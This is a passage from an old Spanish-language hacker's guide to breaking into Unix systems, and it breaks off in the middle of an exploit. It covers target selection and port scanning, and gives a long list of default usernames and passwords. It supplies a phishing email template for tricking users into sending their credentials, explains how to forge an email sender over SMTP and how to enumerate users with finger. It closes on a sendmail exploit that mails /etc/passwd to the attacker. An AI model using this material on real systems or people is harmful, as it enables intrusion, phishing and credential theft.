  2951.         PUERTO-PORT: Se define mas adelante en este texto.
  2952.  
  2953.         PORT SCANNER: Programa que te indica que puertos de una maquina estan 
  2954.   abiertos. Mas adelante en este texto se explican estos conceptos mas 
  2955.   detenidamente.
  2956.  
  2957.         ROOT,administrador, sysop: Persona que tiene control total sobre el
  2958.         sistema y cuyo UID es 0.
  2959.  
  2960.         ROUTER: Maquina de la red que se encarga de encauzar el flujo de
  2961.   paquetes.
  2962.  
  2963.         SNIFFER: Es un programa que monitoriza los paquetes de datos que
  2964.   circulan por una red. Mas claramente, todo lo que circula por la red va en
  2965.   'paquetes de datos' que el sniffer chequea en busca de informacion
  2966.   referente unas cadenas prefijadas por el que ha instalado el programa.
  2967.  
  2968.         SHELL: Este concepto puede dar lugar a confusion ya que una shell
  2969.   en un sistema unix es un programa que interactua entre el kernel y el
  2970.   usuario mientras que en nuestros ambientes significa el conjunto de login
  2971.   y password.... es decir que si alguien dice que cambia shells ya sabeis a lo
  2972.   que se refiere no? :)
  2973.  
  2974.         SUNOS: Sistema operativo de Sun.
  2975.  
  2976.         SOLARIS: Sistema operativo de Sun.
  2977.  
  2978.         SYSOP: Ver rOOt.
  2979.  
  2980.         TCP/IP: Arquitectura de red con un conjunto de protocolos. Es la que
  2981.   se suele usar en Internet.. para mas info sobre el tema cualquier libro de
  2982.   TCP/IP es valido..
  2983.  
  2984.         TONELOC: Posiblemente el mejor war dealer (como la cerveza) jeje
  2985.  
  2986.         TRACEAR :Seguir la pista a traves de la red a una informacion o de una 
  2987.   persona. 
  2988.  
  2989.         UDP: Protocolo de comunicacion que a diferencia del TCP no es
  2990.   orientado a conexion.
  2991.  
  2992.         UNIX: Familia de sistemas operativos que engloba a SunOS, Solaris,
  2993.   irix, etc..
  2994.  
  2995.         VMS: Sistema operativo.
  2996.  
  2997.         VIRUS: Es un programa que se reproduce a si mismo y que muy
  2998.   posiblemente ataca a otros programas. Crea copias de si mismo y suele dañar
  2999.   o joder datos, cambiarlos o disminuir la capacidad de tu sistema
  3000.   disminuyendo la memoria util o el espacio libre.
  3001.  
  3002.         WAR DIALER: Estos son programas (tambien se podria hacer a mano, pero
  3003.   es muy pesado) que realizan llamadas telefonicas en busca de modems. Sirve 
  3004.   para buscar maquinas sin hacerlo a traves de internet. Estas maquinas suelen 
  3005.   ser muy interesantes ya que no reciben tantos ataques y a veces hay suerte y 
  3006.   no estan tan cerradas. ;o)
  3007.  
  3008.         WORM: Ver gusano.
  3009.  
  3010.         WINDOWS : Sistema operativo?? ;-) .. tambien llamado ventanukos.
  3011.  
  3012.         ZAP: Zap es un programa que se usa para borrar las huellas en un
  3013.   sistema. Debido a lo famoso que se ha hecho muchos programas que desarrollan
  3014.   estas funciones se les llama zappers aunque precisamente este no es el
  3015.   mejor ;o)
  3016.  
  3017.         ZINE: Revista electronica
  3018.  
  3019.         Nota: En este texto se va a dar unix por sabido y solo se comentaran
  3020.   los aspectos del unix relacionados con el hacking.
  3021.  
  3022.   1.- BUSCANDO LA MAQUINA OBJETIVO Y ALGO SOBRE UNIX ORIENTADO AL HACKING.
  3023.  
  3024.         Lo primero que se ha de hacer, como es logico es determinar la
  3025.   maquina objetivo. Esta decision se puede hacer en base a distintos criterios
  3026.   como pueda ser que es una maquina especialmente interesante para ti o que es
  3027.   una maquina que sabes o te han dicho que el rOOt no es un lumbreras. Bien,
  3028.   sea como fuere, suponemos que se ha determinado la maquina objetivo.
  3029.  
  3030.         Tras esto, se ha de recopilar la mayor informacion sobre esa maquina.
  3031.   Lo mejor es empezar haciendo un escaneo de puertos a la maquina, esto
  3032.   consiste en ir haciendo telnet's a todos los puertos de la maquina (normales
  3033.   1-6000) para ver que programas contestan en cada puerto y su version, o si
  3034.   el puerto esta cerrado. Por ejemplo: con un telnet normal (puerto 23) d
  3035.   eterminaremos el sistema operativo, con un telnet 79 (finger) para obtener
  3036.   informacion, entrar por el netstat (puerto 15 ) si lo tiene abierto (poco
  3037.   usual), mirar si tiene pagina web y que demonio de http usa (puerto 80),
  3038.   mirar la version del sendmail (puerto 25), ver si esta el systat abierto,
  3039.   ver si tiene ftp anonimo en el 21, ver si ofrece nfs o nis, etc. Para esto
  3040.   se necesita un escaneador de puertos de los que hay muchisimos en la red
  3041.   (strobe, portscan, nmap, etc.)
  3042.  
  3043.         Ademas, en caso de que quieras hackear victima1.microsoft.com, en caso
  3044.   de que veas que no puedes hacer nada en esta maquina victima1, te puedes 
  3045.   plantear hackear otra del dominio microsoft.com, ya que si consigues root y 
  3046.   colocas un sniffer en victima2.microsoft.com ( o quiza con un poco de suerte 
  3047.   con el hosts.equiv o el .rhosts) seguramente podras conseguir cuentas en 
  3048.   victima1.microsoft.com. Posiblemente, esto no lo entiendas ahora, pero tras 
  3049.   leer todo el texto y tener un poco mas claro lo que es un sniffer, como
  3050.   pillar root y demas, posiblemente le encontraras mas sentido a este parrafo
  3051.   :o)
  3052.  
  3053.   Nota para los que vayan un poco verdes en Unix:
  3054.  
  3055.         El fichero hosts.equiv es un fichero que hay en los sistemas unix que
  3056.   indica que maquinas pueden ejecutar comandos remotos en esta maquina sin
  3057.   pedir ni login ni password, es decir, indica las maquinas que son
  3058.   confiables.
  3059.  
  3060.         Igualmente, el fichero .rhosts es un fichero que hay en el HOME de
  3061.   cada usuario que indica las maquinas a las que permite ejecutar un comando
  3062.   remoto sin pedir password.
  3063.  
  3064.         Ademas, os recuerdo que con el comando host puedes obtener una lista
  3065.   de maquinas pertenecientes a un dominio dado y que el comando traceroute 
  3066.   muchas veces puede ayudar ( recuerdo que el traceroute muestra el recorrido 
  3067.   que hacen los paquetes hasta llegar a la maquina destino).
  3068.  
  3069.         Para todos aquellos que no tienen muy claro lo que son los puertos,
  3070.   TCP, UDP, IP y demas cosas similares pueden ver el TCP IP Illustrated tomo
  3071.   1 de Stevens o el famoso NETWORKING with TCPIP que ademas creo que tiene el
  3072.   primer tomo traducido al castellano.
  3073.  
  3074.         A continuacion se listan los mas interesantes en principio para las
  3075.   aplicaciones que nos interesan (en los puertos que no ponga nada, se
  3076.   refieren a tcp y los que se refieran a udp se indicara):
  3077.  
  3078.  
  3079.   Numero  Servicio        Lo que hace
  3080.   de Puerto
  3081.  
  3082.   9               discard Dev/null--Basura
  3083.   11              systat          Informacion sobre los usuarios
  3084.   13                              La hora y fecha de maquina remota
  3085.   15              netstat Mucha informacion sobre la red
  3086.   17/tcp          qotd            Quote of the Day
  3087.   19              chargen Generador de caracteres
  3088.   21              ftp             Transferenciadeficheros
  3089.   22/tcp          ssh             SSH Remote Login Protocol
  3090.   23              telnet          Loginypass
  3091.   25              smpt            Para crear email.
  3092.   37              time            La      hora.
  3093.   38/tcp          rap             RouteAccessProtocol
  3094.   39              rlp             Localizacion del recurso
  3095.   42/tcp          name server     HostName Server
  3096.   43              whois           Informacion sobre la red objetivo
  3097.   49/tcp          tacacs          LoginHostProtocol(TACACS)
  3098.   50/tcp          re-mail-ck      RemoteMailCheckingProtocol
  3099.   53              domain  Nombre de la maquina remota
  3100.   63/tcp          whois++ whois++
  3101.   69/tcp          tftp            TrivialFileTransfer
  3102.   70              gopher  Buscador de informacion con bugs ;o)
  3103.   79              finger          Mucha informacion sobre los usuarios
  3104.   80              http            ServidorWeb
  3105.   88/tcp          kerberos        Kerberos
  3106.   107             rtelnet         Telnet remoto
  3107.   109/tcp pop2            PostOfficeProtocol-Version2
  3108.   110             pop3            Email entrante Version3
  3109.   111/tcp sunrpc  SUN Remote Procedure Call
  3110.   113/tcp auth            Authentication Service
  3111.   115/tcp sftp            Simple File Transfer Protocol
  3112.   117/tcp uucp-path       UUCP Path Service
  3113.   119             nntp            Grupos de noticias Usenet
  3114.   133/tcp statsrv         Statistics Service
  3115.   136/tcp profile         PROFILE Naming System
  3116.   137/tcp netbios-ns      NETBIOSNameService
  3117.   137/udp netbios-ns      NETBIOSNameService
  3118.   138/tcp netbios-dgm     NETBIOSDatagramService
  3119.   138/udp netbios-dgm     NETBIOSDatagramService
  3120.   139/tcp netbios-ssn     NETBIOSSessionService
  3121.   139/udp netbios-ssn     NETBIOSSessionService
  3122.   143/tcp imap            InternetMessageAccessProtocol (xploit remoto jeje)
  3123.   144/tcp news            NewS
  3124.   161/tcp snmp            SNMP
  3125.   194/tcp irc             InternetRelayChatProtocol
  3126.   213/tcp ipx             IPX
  3127.   220/tcp imap3           InteractiveMailAccessProtocolv3
  3128.   443             shttp           Otro servidor web teoricamente seguro
  3129.   512/udp biff            ndica a los usuarios que han recibido mail
  3130.   513/tcp rlogin          remote login
  3131.   513/udp who             who remoto y da info sobre la carga de la maquina
  3132.   514/tcp shell           Shell remota
  3133.   514/udp syslog
  3134.   515/tcp printer         spooler
  3135.   520             route           Protocolo de informacion routing
  3136.   529/tcp irc-serv        IRC-SERV
  3137.  
  3138.         Puedes obtener muchas listas de puertos en Internet por lo que os he
  3139.   puesto una lista resumida aunque en realidad con la practica te sueles
  3140.   remitir a un numero mas reducido de puertos pero eso que lo vea cada uno
  3141.   kon la experiencia.
  3142.  
  3143.         Tras saber que conocimientos se deben adquirir, ahora os comento los 
  3144.   programas que se deben tener para poder hacer cositas.
  3145.  
  3146.         Bien, lo primero que comentaria es que es mas comodo hackear con
  3147.   unix/linux que con el ventanukos ya que aunque es mas complejo, ofrece
  3148.   muchas mas posibilidades ya que el mismo sistema operativo te ofrece
  3149.   algunas ventajas que no ofrece el windows. No voy a entrar a comentar estas
  3150.   diferencias pero si usas unix, basicamente solo has de pillarte un
  3151.   escaneador de puertos y poco mas. Se ha de recordar que lleva incorporado el
  3152.   compilador de c, perl, la mayoria de los programas de seguridad (satan,
  3153.   cops, iss...) estan disponibles para unix asi como los programas para
  3154.   hackear, y muchas mas kosas que ya iremos descubriendo como el tiempo.
  3155.   Ademas unix te permite comandos interesantes como el host, rpcinfo, los
  3156.   comandos remotos, etc.
  3157.  
  3158.         Ademas, tal y como se ha comentado o comentara a lo largo del texto,
  3159.   la informacion y estar actualizado en bugs y exploits es una de las cosas
  3160.   mas importantes en este mundillo por lo que un consejo es que habitualmente
  3161.   ojeeis las paginas de hack para pillar los ultimos bugs y xploits asi como
  3162.   las listas de correo habilitadas para el respecto (bugtraq, firewall ,etc).
  3163.   Tened en cuenta que la eficacia de un xploit es inversamente proporcional
  3164.   al tiempo que hace que salio asi que no espereis entrar en muchas maquinas
  3165.   con bugs de los años 80, entendeis la idea no?.
  3166.  
  3167.   2.- INTRODUCCION A DISTINTOS SISTEMAS
  3168.  
  3169.         En este texto se va a hablar de hackear maquinas Unix pero hay que
  3170.   recordar que aparte del Unix tambien existen otros sistemas operativos para
  3171.   mainframes y miniordenadores como el VMS para ordenadores VAX (de la marca
  3172.   DEC, Digital Equipment Corporation), el VM/CMS, VM/ESA, etc para ordenadores 
  3173.   IBM, y otros sistemas operativos de menor profileracion.
  3174.  
  3175.   Dentro de los UNIX se puede hacer diferencias:
  3176.  
  3177.  
  3178.   SO              Vendedor                Procesador              Proviene del
  3179.  
  3180.   IRIX            Silicon Graphics        MIPS Rxx00              System V
  3181.   ULTRIX          Digital (viejo)         MIPS R2/3000            BSD
  3182.   Digital UNIX    Digital (nuevo)                                 System V (?)
  3183.   AIX             IBM                                             BSD
  3184.   HP-UX           Hewlett Packard PA-RISC                         System V
  3185.   SCO UNIX        SCO                     Intel x86
  3186.   FreeBSD         (independiente)         Intel x86               BSD
  3187.   Linux           (independiente)         Intel x86               BSD
  3188.   SunOS           Sun (viejo)             Sparc                   BSD
  3189.   Solaris         Sun (nuevo)             Sparc / x86             System V
  3190.   UNICOS          Cray
  3191.   OSF/1           DEC                     Alpha
  3192.   ConvexOS        Convex
  3193.  
  3194.         Para entrar en un sistema, lo primero que has de saber es como
  3195.   funciona ya que si no, no podras manejarte en el. Por esto es importante
  3196.   conocer UNIX/LINUX ya que basicamente, conociendo este sistema operativo
  3197.   podras moverte por el resto de sistemas unix aunque de vez en cuando te
  3198.   encuentras de cada cosa por ahi que da miedo. A continuacion se describen
  3199.   algunos sistemas y en algunos se indica la pinta que tienen para poder
  3200.   identificarlos al hacerles un telnet ( Nota: esta info la he pillado de la
  3201.   red y creo que es un poco vieja pero la pongo porque opino que puede servir
  3202.   de algo):
  3203.  
  3204.         VMS  -  La computadora VAX es creada por Digital Equipment Corporation 
  3205.   (DEC) y corre el sistema operativo VMS (virtual memory system). VMS se 
  3206.   caracteriza por su prompt 'Username:'. Este sistema no te dira si has
  3207.   entrado un login correcto o no y te desconectara despues de tres malos
  3208.   intentos. Tambien mantiene un record de todos los logins que fallaron e
  3209.   informa al dueño de la cuenta la proxima vez que entre cuantos intentos
  3210.   fallados se hicieron. Es uno de los sistemas mas seguros desde fuera pero ya
  3211.   dentro tiene varios errores en la seguridad. Las VAX ademas tienen uno de
  3212.   los mejores archivos de ayuda de entre los demas sistemas, para accesar a
  3213.   esta ayuda solo escribe HELP en el prompt.
  3214.  
  3215.         VM/CMS  -  Este sistema es ejecutado en las super computadoras de IBM 
  3216.   (International Business Machines) llamadas mainframes. Una vez conectado a 
  3217.   una de estas computadoras te mostrara un mensaje asi "VM/370 ONLINE", y te 
  3218.   dara un prompt "." justo como la TOPS-10 lo hace. Para entrar debes
  3219.   ejecutar: LOGON <usuario>
  3220.  
  3221.         DEC-10  - Operan el sistema operativo TOPS-10. Este tipo de maquinas
  3222.   se reconocen por el prompt "." Las series DEC-10/20 son amables con los
  3223.   hackers permitiendo varios intentos en el login prompt sin guardar un log
  3224.   de los intentos fallados. Las cuentas estan en forma [xxx,yyy]. Lo mejor de
  3225.   este sistema es la posibilidad de obtener informacion sobre las personas en
  3226.   linea antes de entrar a el usando el comando systat. Si ves una cuenta que
  3227.   lea [234,1001] BOB JONES, seria inteligente probar como password BOB, JONES,
  3228.   BOBBY, etc. Para entrar al sistema se usa el comando:
  3229.  
  3230.   login xxx,yyy [enter]
  3231.   password:
  3232.  
  3233.         Este sistema como antes lo habia dicho, permite intentos sin limite y
  3234.   ademas te avisa si el login que estas usando existe.
  3235.  
  3236.         PRIME  -  Esta computadora opera con el sistema operativo Primos. Son 
  3237.   faciles de detectar ya que lo reciben a uno con el mensaje
  3238.   "Primecon xx.xx.xx" o algo parecido dependiendo de la version que te
  3239.   encuentres. Usualmente no ofrecen ningun prompt asi que debes escribir
  3240.   "login <usuario>". Si la version es anterior a la 18.00.00 puedes presionar
  3241.   un monton de caracteres de escape o CTRL-C y entraras. Este sistema ofrece
  3242.   la capacidad de conectarte a los NUAS de todo el mundo con el comando
  3243.   NETLINK...sintax: nc <nua> Al hacer un telnet muestra un aspecto del tipo:
  3244.  
  3245.   PRIMENET 19.2.7F PPOA1
  3246.  
  3247.   <any text>
  3248.  
  3249.   ER!
  3250.  
  3251.   =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  3252.  
  3253.   CONNECT
  3254.   Primenet V 2.3  (system)
  3255.   LOGIN           (you)
  3256.   User id?        (system)
  3257.   SAPB5           (you)
  3258.   Password?       (system)
  3259.   DROWSAP         (you)
  3260.   OK,             (system)
  3261.  
  3262.         DECSERVER  -  Las DECs son una serie de computadoras conectadas entre
  3263.   si para formar una sola unidad de procesamiento, la funcionalidad de estos 
  3264.   sistemas es altamente utilizado por los hackers para quebrar passwords de 
  3265.   cuentas unix por la rapidez del sistema. El prompt usualmente sera: "Enter 
  3266.   Username>" aunque yo he visto otros prompts en estos sistemas.
  3267.  
  3268.         El nombre de usuario puede ser cualquier cosa, lo mejor sera presionar
  3269.   algo nada sospechoso como `c' o algun numero. De ahi te presentara con el
  3270.   prompt `local>'. De ahi debes ejecutar `c <sistema>' para conectarte. Para
  3271.   obtener una lista de sistemas conectados ejecuta `sh' `services' o `sh
  3272.   nodes'. En algunos sistemas DEC'S existen comandos como MODEM o DIAL que
  3273.   permiten hacer uso de un modem para llamadas externas que te permitiran
  3274.   marcar a BBS internacionales a expensas de la compa╧ia que opera el DEC. Al
  3275.   hacer un telnet a este sistema sale algo del tipo:
  3276.  
  3277.   DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
  3278.   DPS502-DS700
  3279.  
  3280.   (c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved
  3281.  
  3282.   Please type HELP if you need assistance
  3283.  
  3284.   Enter username> TNO
  3285.  
  3286.   Local>
  3287.  
  3288.  
  3289.   AIX
  3290.  
  3291.   IBM AIX Version 3 for RISC System/6000
  3292.   (C) Copyrights by IBM and by others 1982, 1990.
  3293.   login:
  3294.  
  3295.         Lo reconoceras porque es el unico sistema Unix que borra la pantalla y
  3296.   sale el login cerca del final de la pantalla.
  3297.  
  3298.  
  3299.   CISCO Router
  3300.  
  3301.                              FIRST BANK OF TNO
  3302.                            95-866 TNO VirtualBank
  3303.                           REMOTE Router -  TN043R1
  3304.  
  3305.                                 Console Port
  3306.  
  3307.                                 SN - 00000866
  3308.  
  3309.   TN043R1>
  3310.  
  3311.  
  3312.         Toda la info anterior expuesta anteriormente sobre los distintos
  3313.   sistemas, la he cogido basicamente de la red y la mayoria no la he
  3314.   comprobado por lo que es facil que haya errores por lo que os agradeceria
  3315.   que me contaseis todos los bugs que encontreis en esta parte del texto sobre
  3316.   distintos sistemas.
  3317.  
  3318.         Igualmente, estoy interesado en toda la info que me pueda mandar la
  3319.   gente sobre la identificacion de los distintos sistemas operativos y los
  3320.   comandos y diferencias basicas entre los sistemas operativos. Como siempre,
  3321.   mi mail esta abierto para este tipo de info ;--)
  3322.  
  3323.   3.- CONSEGUIR UNA CUENTA
  3324.  
  3325.         Una cuenta puede ser el primer paso para poder entrar en un sistema
  3326.   (aunque hay bugs que te dan directamente una cuenta e incluso la de rOOt,
  3327.   pero eso es caso aparte) por lo que en este capitulo se vera como conseguir
  3328.   una cuenta.
  3329.  
  3330.         Hay muchiiiiisimos metodos para conseguir una cuenta pero aqui se van
  3331.    a contar los siguientes:
  3332.  
  3333.   1.- Cuentas por defecto
  3334.   2.- Ingenieria social
  3335.   3.- Conseguir fichero passwd de manera remota con algun bug
  3336.   4.- Conseguir directamente una cuenta con un bug
  3337.   5.- PHF
  3338.   6.- Xploits que te dan una shell remota
  3339.   7.- Otros metodos
  3340.  
  3341.   4.1.- Cuentas por defecto
  3342.  
  3343.         Este es un metodo de locos y solo lo has de usar si vas muy perdido o
  3344.   si estas muy desesperado ya que raras veces funcionan. Sinceramente, yo no
  3345.   las he comprobado ya que nunca uso este metodo por lo que agradeceria
  3346.   vuestras rectificaciones para posteriores ediciones del texto. Incluso hay
  3347.   sistemas operativos muy raros que no se si seran viejos pero yo las incluyo
  3348.   todos por si a alguien les sirven de algo. En posteriores ediciones ya se
  3349.   hara un filtrado :o)
  3350.  
  3351.   Aqui estan para varios sistemas:
  3352.  
  3353.   Cuentas defaults en general:
  3354.  
  3355.   adm
  3356.   admin
  3357.   ann
  3358.   anon
  3359.   anonymous/anonymous
  3360.   backup
  3361.   batch
  3362.   bin
  3363.   checkfsys
  3364.   daemon
  3365.   demo
  3366.   diag
  3367.   field
  3368.   ftp
  3369.   games
  3370.   guest/guest
  3371.   guest/anonymous
  3372.   help
  3373.   install
  3374.   listen
  3375.   lp
  3376.   lpadmin
  3377.   maint
  3378.   makefsys
  3379.   mountfsys
  3380.   network
  3381.   news
  3382.   nobody
  3383.   nuucp
  3384.   nuucpa
  3385.   operator
  3386.   powerdown
  3387.   printer
  3388.   pub
  3389.   public
  3390.   reboot
  3391.   rje
  3392.   rlogin
  3393.   root
  3394.   sa
  3395.   setup
  3396.   shutdown
  3397.   startup
  3398.   sync
  3399.   sys/sys
  3400.   sysadm
  3401.   sysadmin
  3402.   sysbin/sysbin   sysbin/bin
  3403.   sysman
  3404.   system
  3405.   tech
  3406.   test
  3407.   trouble
  3408.   tty
  3409.   umountfsys
  3410.   user/user   user1/user1
  3411.   uucp
  3412.   uucpa
  3413.   visitor
  3414.   root/root
  3415.   root/system
  3416.   sys/sys
  3417.   sys/system
  3418.   daemon/daemon
  3419.   uucp/uucp
  3420.   tty/tty
  3421.   test/test
  3422.   unix/unix
  3423.   unix/test
  3424.   bin/bin
  3425.   adm/adm
  3426.   adm/admin
  3427.   admin/adm
  3428.   admin/admin
  3429.   sysman/sysman
  3430.   sysman/sys
  3431.   sysman/system
  3432.   sysadmin/sysadmin
  3433.   sysadmin/sys
  3434.   sysadmin/system
  3435.   sysadmin/admin
  3436.   sysadmin/adm
  3437.   who/who
  3438.   learn/learn
  3439.   uuhost/uuhost
  3440.   guest/guest
  3441.   host/host
  3442.   nuucp/nuucp
  3443.   rje/rje
  3444.   games/games
  3445.   games/player
  3446.   sysop/sysop
  3447.   root/sysop
  3448.   demo/demo
  3449.   decnet/ddennet
  3450.   guest/friend
  3451.   field/service
  3452.   guest/welcome
  3453.   system/manager
  3454.   default/user
  3455.   decnet/nonpriv
  3456.   field/digital
  3457.   field/test
  3458.   postmaster/mail
  3459.   sysmaint/service
  3460.   sysmaint/digital
  3461.   system/operator
  3462.   system/manager
  3463.   system/syslib
  3464.   system/uetp
  3465.   systest_clig/systest
  3466.   userp/user
  3467.   sysadmin/admin
  3468.   daemon/daemon
  3469.   sysbin/sysbin
  3470.  
  3471.   AIX
  3472.  
  3473.   guest           guest
  3474.  
  3475.   DECserver
  3476.  
  3477.   Access
  3478.   System
  3479.  
  3480.   VMS
  3481.  
  3482.   autolog1/autolog o autolog1
  3483.   cms/cms
  3484.   cmsbatch/cms o cmsbatch
  3485.   erep/erep
  3486.   maint/maint o maintain
  3487.   operatns/operatns o operator
  3488.   operator/operator
  3489.   rscs/rscs
  3490.   smart/smart
  3491.   sna/sna
  3492.   vmtest/vmtest
  3493.   vmutil/vmutil
  3494.   vtam/vtam
  3495.   field/service
  3496.   systest/utep
  3497.   systest_clig/systest
  3498.   systest_clig/uetp
  3499.  
  3500.   PRIME
  3501.  
  3502.   Prime/prime
  3503.   Prime/primos
  3504.   Primos/primos
  3505.   Primos/prime
  3506.   primos_cs/prime
  3507.   primos_cs/primos
  3508.   primenet/primenet
  3509.   system/system
  3510.   system/prime
  3511.   system/primos
  3512.   netlink/netlink
  3513.   test/test
  3514.   guest/guest
  3515.   guest1/guest
  3516.  
  3517.   DEC10
  3518.  
  3519.   1,2:        SYSLIB or OPERATOR or MANAGER
  3520.   2,7:        MAINTAIN
  3521.   5,30:       GAMES
  3522.  
  3523.   SGI Irix
  3524.  
  3525.   4DGifts
  3526.   guest
  3527.   demos
  3528.   lp
  3529.   nuucp
  3530.   tour
  3531.   tutor
  3532.   accounting
  3533.   boss
  3534.   demo
  3535.   manager
  3536.   pdp8
  3537.   pdp11
  3538.   software
  3539.  
  3540.   4.2.- INGENIERIA SOCIAL
  3541.  
  3542.         Bien, este no es un metodo de hack en el sentido que todos pensais...
  3543.   no tiene nada que ver con informatica ni con ordenadores ni tcp/ip ni unix
  3544.   ni nada de eso sino que simplemente consiste en ser un poco picaro ;o).
  3545.  
  3546.         La ingenieria social se basa en que hay mucha gente por ahi que tiene
  3547.   una cuenta (tanto de un proveedor de internet como una shell) y que no esta
  3548.   muy alerta jeje. En fin, como os comento hay varios metodos para obtener
  3549.   cuentas usando ingenieria social, aqui simplemente cuento algunos para que
  3550.   os hagais una idea pero cada uno que piense y su imaginacion le dara algunos
  3551.   truquillos mas.
  3552.  
  3553.         En fin, el metodo e-mail es el mas importante por el que sera el que
  3554.   mas desarrollaremos en este texto aunque tambien se podria hacer por
  3555.   telefono. La idea es sencilla.. enviar un mail (anonimo) a alguien para que
  3556.   te de el login y el password. Parece dificil que traguen, no?.. pues os
  3557.   puedo asegurar que no lo es. }-)
  3558.  
  3559.   Simplemente envia un mail de este estilo:
  3560.  
  3561.   Estimado señor Lopez:  (Importante conocer la identidad de la persona para 
  3562.   darle mas confianza)
  3563.  
  3564.         El objeto de este correo electronico es comunicarle que debido a
  3565.   mantener la seguridad de nuestro sistema victima.com, se requiere que envie
  3566.   un mail con sus datos personales y su login y su password ya que en nuestro
  3567.   sistema es muy importante la seguridad y deseamos mantenerla con estos
  3568.   chequeos rutinarios.
  3569.  
  3570.   Agradeciendo su atencion se despide
  3571.  
  3572.   Pepito Rodriguez   pepito@victima.com
  3573.   Administrador del sistema victima.com
  3574.  
  3575.         Para enviar un mail para falsear el remitente, lo que se debe hacer es
  3576.   hacer un telnet a una maquina unix que tenga el puerto 25 abierto y dar los
  3577.   siguientes pasos:
  3578.  
  3579.         Lo primero que se ha de hacer es un telnet maquinacon25.com 25, cuando
  3580.   te diga que ya estas conectado, has de hacer:
  3581.  
  3582.   helo ingenieria@social.com >pleased to meet ingenieria@social.com
  3583.  
  3584.         Tras esto has de decir quien quieres que aparezca como remitente con
  3585.   el comando mail from:
  3586.  
  3587.   mail from: ingenieria@social.com
  3588.       
  3589.             > ingenieria@social.com... Sender is valid.
  3590.     
  3591.         Si sale esto, todo va bien.. por lo que tendras que indicar quien es
  3592.   el destinatario usando el comando rcpt
  3593.  
  3594.   rcpt to: bill@gates.com
  3595.  
  3596.           > "bill@gates.com"... Recipient okay
  3597.  
  3598.         Tras esto, lo que se ha de hacer es indicar el mensaje en si con el
  3599.   comando data y cuando quieras acabar pones un . en una linea.. algo asi:
  3600.  
  3601.          data
  3602.  
  3603.          > Enter mail, end with "." on a line by itself
  3604.  
  3605.   Hola Bill
  3606.   .
  3607.  
  3608.          > Mail accepted
  3609.  
  3610.         Con esto el mensaje ya esta enviado, y para cerrar la conexion has de
  3611.   usar quit.
  3612.  
  3613.          > connection is closed.
  3614.  
  3615.         En realidad con esto no se consigue un mail anonimo sino que lo que 
  3616.   consigues es especificar el remitente que tu quieres. Para enviar mail
  3617.   anonimo has de usar servidores de correo anonimo o hacer este mensaje
  3618.   enlazando unos mails con otros.
  3619.  
  3620.   Para saber si un servidor es anonimo has de hacer:
  3621.  
  3622.   HELO servidor@anonimo.com
  3623.  
  3624.         Y si cuando el servidor responde no aparece tu IP por ningun lado,
  3625.   entonces es un servidor anonimo o pseudoanonimo.
  3626.  
  3627.         Este texto puede estar mucho mas elaborado.. pero ya os servira para
  3628.   ver la idea y creedme este metodo funciona y por otro lado no es complicado
  3629.   de hacer ;o)
  3630.  
  3631.         La pregunta ahora es... como sabemos los telefonos o los mails de la
  3632.   gente de victima.com???. Bien, hay varias respuestas.. muchas veces por
  3633.   casualidad (un vecino, un compañero de clase, etc), otras pasandotelas otro
  3634.   hacker (a saber de donde vendran ¡!) y algunos metodos mas entre los que
  3635.   destacaria el finger. El finger es el puerto 79 y si el host victima.com lo
  3636.   tiene abierto, simplemente telnetealo y usando finger -l @victima.com
  3637.   sacaras informacion sobre la gente que esta concectada a victima.com asi
  3638.   como otra informacion interesante como su email. Luego puedes ir probando
  3639.   con finger -l nombre_usuario@victima.com con lo que obtendras aun mas
  3640.   informacion del sistema.
  3641.  
  3642.         Tambien se puede hacer finger root@victima.com , guest@victima.com,
  3643.   etc con lo que obtendras informacion sobre ellos aunque no esten
  3644.   conectados.
  3645.  
  3646.         Tambien se ha de tener en cuenta que a veces el puerto 79 esta abierto
  3647.   pero no te da informacion. Esto puede ser porque esta usando tcp-wrappers,
  3648.   pero eso es tema aparte, simplemente lo comento para que sepais que os
  3649.   puede pasar.
  3650.  
  3651.         Este metodo, y usando este script, os puede hacer conseguir muchos 
  3652.   passwords pero hay que currarselo mucho :o(. Obviamente, solo pensando un 
  3653.   poco se te pueden ocurrir muchas mas maneras de aprovechar el finger ya que 
  3654.   da bastante informacion sobre los usuarios aunque esta informacion cuando es 
  3655.   realmente util es combinada con otros sistemas de ataque :)
  3656.  
  3657.         Hay muchos mas sistemas de ingenieria social como la chica necesitada
  3658.   de ayuda en el irc y cosas parecidas, pero tampoco creo que valga demasiado
  3659.   la pena explicarlo mas. Ademas, como en todos estos temas, el unico limite
  3660.   es tu imaginacion :o)
  3661.  
  3662.         Como es pesado buscar manualmente, puedes buscar maquinas con finger 
  3663.   usando un script hecho en shell y usando listas de hosts como las que se 
  3664.   explicaran en el apartado de nfs.
  3665.  
  3666.         Ademas, para los que veais que este metodo es un poco coñazo, el
  3667.   script este siempre es util ya que tened en cuenta que las maquinas que
  3668.   tengan el finger abierto son maquinas que no estan muy concienciadas por la
  3669.   seguridad no?.. jeje.. mejor no sigo dando ideas :o) aunque tened en cuenta
  3670.   que esto no siempre sera cierto ya que es posible que usen los tcp-wrappers.
  3671.  
  3672.         Nota: El tcp-wrapper es un programa que permite filtrar ip por los
  3673.   distintos puertos e indicar que demonio o programa se ejecuta en cada uno
  3674.   de los puertos por lo que podeis ver todas las aplicaciones maleficas que
  3675.   pueden conseguir los roots usando este tipo de programas por lo que cuidado
  3676.   ahi fuera.
  3677.  
  3678.   4.3.- CONSEGUIR FICHERO DE PASSWD A TRAVES DE ALGUN BUG
  3679.  
  3680.         En fin, hay muchos bugs y xploits que te permiten el acceso al fichero
  3681.   de passwd pero aqui voy a exponer algunos que aunque son antiguos son
  3682.   bastante ilustrativos (para pillar xploits nuevos, a buscar por la red ke
  3683.   hay muchos.. de todos modos, en los apartados de pillar root, pondre xploits 
  3684.   modernos y que funcionan ;o).. estos los he elegido aunque sean un poco 
  3685.   antiguos porque son bastante ilustrativos:
  3686.  
  3687.    Sistemas: Unix's en general, espacialmente AIX y SUNOS 
  3688.    Versiones: Sendmail, versiones anteriores a la 5.57 que no esten parcheadas
  3689.    tumaquina% telnet victima.com 25 
  3690.    Trying X.Y.Z.A...
  3691.    Connected to victima.com  
  3692.    Escape character is '^]'.
  3693.    220 victima.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
  3694.    mail from: "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"
  3695.    250 "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"... Sender ok
  3696.    rcpt to: loquequieras
